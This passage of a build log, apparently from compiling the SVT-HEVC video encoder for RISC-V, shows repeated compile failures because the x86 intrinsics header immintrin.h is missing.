Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecProcess.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecProcess.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecProcess.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbTransforms_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbTransforms.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecProcess.c:8:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[24/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbAvcStyleMcp_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbAvcStyleMcp_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbAvcStyleMcp_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbAvcStyleMcp_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbAvcStyleMcp_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbAvcStyleMcp_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbAvcStyleMcp_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbAvcStyleMcp_Intrinsic_SSE2.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[25/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbTransforms_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbTransforms_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbTransforms_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbTransforms_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbTransforms_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbTransforms_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbTransforms_Intrinsic_SSSE3.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[26/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPackUnPack_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPackUnPack_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPackUnPack_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPackUnPack_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPackUnPack_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPackUnPack_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPackUnPack_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPackUnPack_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[27/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbDeblockingFilter_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbDeblockingFilter_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbDeblockingFilter_Intrinsic_SSSE3.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[28/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbAvcStyleMcp_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbAvcStyleMcp_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbAvcStyleMcp_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbAvcStyleMcp_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbAvcStyleMcp_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbAvcStyleMcp_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbAvcStyleMcp_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbAvcStyleMcp_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[29/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbSaoApplication_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbSaoApplication_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbSaoApplication_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbSaoApplication_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbSaoApplication_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbSaoApplication_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbSaoApplication_Intrinsic_SSSE3.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[30/137] Building C object Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbPictureOperators_Intrinsic_SSE4_1.c.o
FAILED: Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbPictureOperators_Intrinsic_SSE4_1.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbPictureOperators_Intrinsic_SSE4_1.c.o -MF Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbPictureOperators_Intrinsic_SSE4_1.c.o.d -o Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbPictureOperators_Intrinsic_SSE4_1.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbPictureOperators_Intrinsic_SSE4_1.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbPictureOperators_SSE4_1.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbPictureOperators_Intrinsic_SSE4_1.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[31/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbPictureManagerProcess.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbPictureManagerProcess.c.o 
/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbPictureManagerProcess.c.o -MF Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbPictureManagerProcess.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbPictureManagerProcess.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbPictureManagerProcess.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbPictureManagerProcess.c:9:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[32/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbGatherSaoStatistics16bit_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[33/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPictureOperators_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPictureOperators_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbPictureOperators_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[34/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbTransforms_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbTransforms_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbTransforms_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbTransforms_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbTransforms_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbTransforms_Intrinsic_AVX2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbTransforms_AVX2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbTransforms_Intrinsic_AVX2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[35/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMeSadCalculation_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMeSadCalculation_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMeSadCalculation_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMeSadCalculation_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMeSadCalculation_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMeSadCalculation_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMeSadCalculation_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMeSadCalculation_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[36/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbComputeSAD_Intrinsic_AVX2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbComputeSAD_AVX2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbComputeSAD_Intrinsic_AVX2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[37/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbSampleAdaptiveOffset_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbSampleAdaptiveOffset_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbSampleAdaptiveOffset_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbSampleAdaptiveOffset_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbSampleAdaptiveOffset_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbSampleAdaptiveOffset_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbSampleAdaptiveOffset_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbSampleAdaptiveOffset_C.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[38/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecTasks.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecTasks.c.o 
